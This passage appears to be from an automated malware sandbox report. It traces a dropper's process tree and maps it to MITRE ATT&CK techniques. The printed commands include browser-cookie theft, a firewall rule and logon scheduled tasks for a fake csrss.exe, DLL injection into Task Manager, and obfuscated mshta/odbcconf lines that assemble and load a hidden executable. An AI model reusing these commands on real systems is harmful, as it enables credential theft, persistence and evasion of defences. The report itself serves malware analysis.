        C:\Windows\SysWOW64\WerFault.exe -u -p 4520 -s 412
        6⤵
        Program crash
        
        PID:2464
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun157e7a96e632.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:4240
    - - C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun157e7a96e632.exe
        
        Sun157e7a96e632.exe
        5⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4856
      - C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun157e7a96e632.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun157e7a96e632.exe" -u
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3876
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun15168f90478cc7.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:2444
    - - C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun15168f90478cc7.exe
        
        Sun15168f90478cc7.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4616
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun15591a43f8a.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:3816
    - - C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun15591a43f8a.exe
        
        Sun15591a43f8a.exe
        5⤵
        Executes dropped EXE
        
        PID:1580
      - C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2948
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1580e9cd8c23e.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:3488
    - - C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun1580e9cd8c23e.exe
        
        Sun1580e9cd8c23e.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3524
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun15372e8db79ed3d.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:3136
    - - C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun15372e8db79ed3d.exe
        
        Sun15372e8db79ed3d.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1264
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun15b94526a807b.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:3636
    - - C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun15b94526a807b.exe
        
        Sun15b94526a807b.exe
        5⤵
        Executes dropped EXE
        
        PID:3648
      - C:\Users\Admin\AppData\Local\Temp\is-HFUCS.tmp\Sun15b94526a807b.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-HFUCS.tmp\Sun15b94526a807b.tmp" /SL5="$2024A,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun15b94526a807b.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4976
        
        C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun15b94526a807b.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun15b94526a807b.exe" /SILENT
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2396
        
        C:\Users\Admin\AppData\Local\Temp\is-P4VBJ.tmp\Sun15b94526a807b.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-P4VBJ.tmp\Sun15b94526a807b.tmp" /SL5="$30204,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun15b94526a807b.exe" /SILENT
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:3960
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1500b8e65c1f53.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:4912
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun15132bf2c585337a0.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:4720
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun150e9a93676ff.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:1956
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun15c4c762b69ba5.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:4212
    - - C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun15c4c762b69ba5.exe
        
        Sun15c4c762b69ba5.exe
        5⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        
        PID:4592
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4592 -s 356
        6⤵
        Program crash
        
        PID:5556
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1524d92394d.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:2540
    - - C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun1524d92394d.exe
        
        Sun1524d92394d.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3572
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun156aa32cae4a.exe
      4⤵
      PID:1544
    - - C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun156aa32cae4a.exe
        
        Sun156aa32cae4a.exe
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        
        PID:3780
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun15e81af69f990d3a6.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:4728
    - - C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun15e81af69f990d3a6.exe
        
        Sun15e81af69f990d3a6.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4472
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4472 -s 412
        6⤵
        Program crash
        
        PID:3928
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1515dbfc0edab0.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:4612
    - - C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun1515dbfc0edab0.exe
        
        Sun1515dbfc0edab0.exe
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:4312
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1585e1028b0.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:3324
    - - C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun1585e1028b0.exe
        
        Sun1585e1028b0.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3416
      - C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun1585e1028b0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun1585e1028b0.exe"
        6⤵
        
        PID:5580
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        7⤵
        
        PID:5724
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:5516
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        8⤵
        Modifies Windows Firewall
        
        PID:1008
        
        C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe /306-306
        7⤵
        
        PID:3364
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1480
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        8⤵
        
        PID:4208
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        8⤵
        
        PID:1488
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3660
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:2948
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun156d9ca8467.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:4508
    - - C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun156d9ca8467.exe
        
        Sun156d9ca8467.exe
        5⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2852
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbSCRipt: cLOSe ( creATEOBJeCt( "wSCriPt.ShELL"). rUN ( "Cmd /C cOPY /Y ""C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun156d9ca8467.exe"" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If """" == """" for %g IN ( ""C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun156d9ca8467.exe"" ) do taskkill -f /Im ""%~NXg"" " , 0, true) )
        6⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:4788
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C cOPY /Y "C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun156d9ca8467.exe" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If "" == "" for %g IN ( "C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun156d9ca8467.exe" ) do taskkill -f /Im "%~NXg"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4640
        
        C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe
        
        Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E
        8⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3620
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbSCRipt: cLOSe ( creATEOBJeCt( "wSCriPt.ShELL"). rUN ( "Cmd /C cOPY /Y ""C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe"" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If ""-PJJdHOofvf~E"" == """" for %g IN ( ""C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe"" ) do taskkill -f /Im ""%~NXg"" " , 0, true) )
        9⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:5544
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C cOPY /Y "C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If "-PJJdHOofvf~E" == "" for %g IN ( "C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe" ) do taskkill -f /Im "%~NXg"
        10⤵
        
        PID:5896
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBScRIpt: close (crEateoBJeCT("wscRIpT.sHELl"). RUn ( "C:\Windows\system32\cmd.exe /q /C ECho | SeT /p = ""MZ"" > 2MXG5k.pR & copy /b /y 2MXG5K.pR + A0kCLvIX.Kc + SpiKDP6.H + ApX~.n4 + G7TV3C~.QZE + P~ST7eWJ.E 9V~4.KU & starT odbcconf.exe /a { reGSVr .\9v~4.Ku } " ,0 , TrUE ) )
        9⤵
        Checks computer location settings
        System Binary Proxy Execution: Odbcconf
        System Location Discovery: System Language Discovery
        
        PID:1940
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /q /C ECho | SeT /p = "MZ" > 2MXG5k.pR &copy /b /y 2MXG5K.pR +A0kCLvIX.Kc +SpiKDP6.H+ ApX~.n4 + G7TV3C~.QZE + P~ST7eWJ.E 9V~4.KU & starT odbcconf.exe /a { reGSVr .\9v~4.Ku}
        10⤵
        System Binary Proxy Execution: Odbcconf
        System Location Discovery: System Language Discovery
        
        PID:4652
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" ECho "
        11⤵
        System Location Discovery: System Language Discovery
        
        PID:3104
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SeT /p = "MZ" 1>2MXG5k.pR"
        11⤵
        System Location Discovery: System Language Discovery
        
        PID:2992
        
        C:\Windows\SysWOW64\odbcconf.exe
        
        odbcconf.exe /a { reGSVr .\9v~4.Ku}
        11⤵
        Loads dropped DLL
        System Binary Proxy Execution: Odbcconf
        System Location Discovery: System Language Discovery
        
        PID:2276
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f /Im "Sun156d9ca8467.exe"
        8⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5372
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbSCRipt: cLOSe ( creATEOBJeCt( "wSCriPt.ShELL"). rUN ( "Cmd /C cOPY /Y ""C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun156d9ca8467.exe"" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If """" == """" for %g IN ( ""C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun156d9ca8467.exe"" ) do taskkill -f /Im ""%~NXg"" " , 0, true) )
        6⤵
        Checks computer location settings
        
        PID:2308
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C cOPY /Y "C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun156d9ca8467.exe" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If "" == "" for %g IN ( "C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun156d9ca8467.exe" ) do taskkill -f /Im "%~NXg"
        7⤵
        
        PID:4580
        
        C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe
        
        Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E
        8⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5140
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbSCRipt: cLOSe ( creATEOBJeCt( "wSCriPt.ShELL"). rUN ( "Cmd /C cOPY /Y ""C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe"" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If ""-PJJdHOofvf~E"" == """" for %g IN ( ""C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe"" ) do taskkill -f /Im ""%~NXg"" " , 0, true) )
        9⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:5516
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C cOPY /Y "C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If "-PJJdHOofvf~E" == "" for %g IN ( "C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe" ) do taskkill -f /Im "%~NXg"
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:5996
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBScRIpt: close (crEateoBJeCT("wscRIpT.sHELl"). RUn ( "C:\Windows\system32\cmd.exe /q /C ECho | SeT /p = ""MZ"" > 2MXG5k.pR & copy /b /y 2MXG5K.pR + A0kCLvIX.Kc + SpiKDP6.H + ApX~.n4 + G7TV3C~.QZE + P~ST7eWJ.E 9V~4.KU & starT odbcconf.exe /a { reGSVr .\9v~4.Ku } " ,0 , TrUE ) )
        9⤵
        Checks computer location settings
        System Binary Proxy Execution: Odbcconf
        System Location Discovery: System Language Discovery
        
        PID:1748
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /q /C ECho | SeT /p = "MZ" > 2MXG5k.pR &copy /b /y 2MXG5K.pR +A0kCLvIX.Kc +SpiKDP6.H+ ApX~.n4 + G7TV3C~.QZE + P~ST7eWJ.E 9V~4.KU & starT odbcconf.exe /a { reGSVr .\9v~4.Ku}
        10⤵
        System Binary Proxy Execution: Odbcconf
        
        PID:2948
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" ECho "
        11⤵
        System Location Discovery: System Language Discovery
        
        PID:2500
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SeT /p = "MZ" 1>2MXG5k.pR"
        11⤵
        System Location Discovery: System Language Discovery
        
        PID:3292
        
        C:\Windows\SysWOW64\odbcconf.exe
        
        odbcconf.exe /a { reGSVr .\9v~4.Ku}
        11⤵
        Loads dropped DLL
        System Binary Proxy Execution: Odbcconf
        System Location Discovery: System Language Discovery
        
        PID:5556
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f /Im "Sun156d9ca8467.exe"
        8⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5472
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1507dd11d509.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:1160

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 4472 -ip 4472
1⤵
PID:4804

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4520 -ip 4520
1⤵
PID:3276

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4592 -ip 4592
1⤵
PID:5428

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

System Binary Proxy Execution

T1218

Odbcconf

T1218.008

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery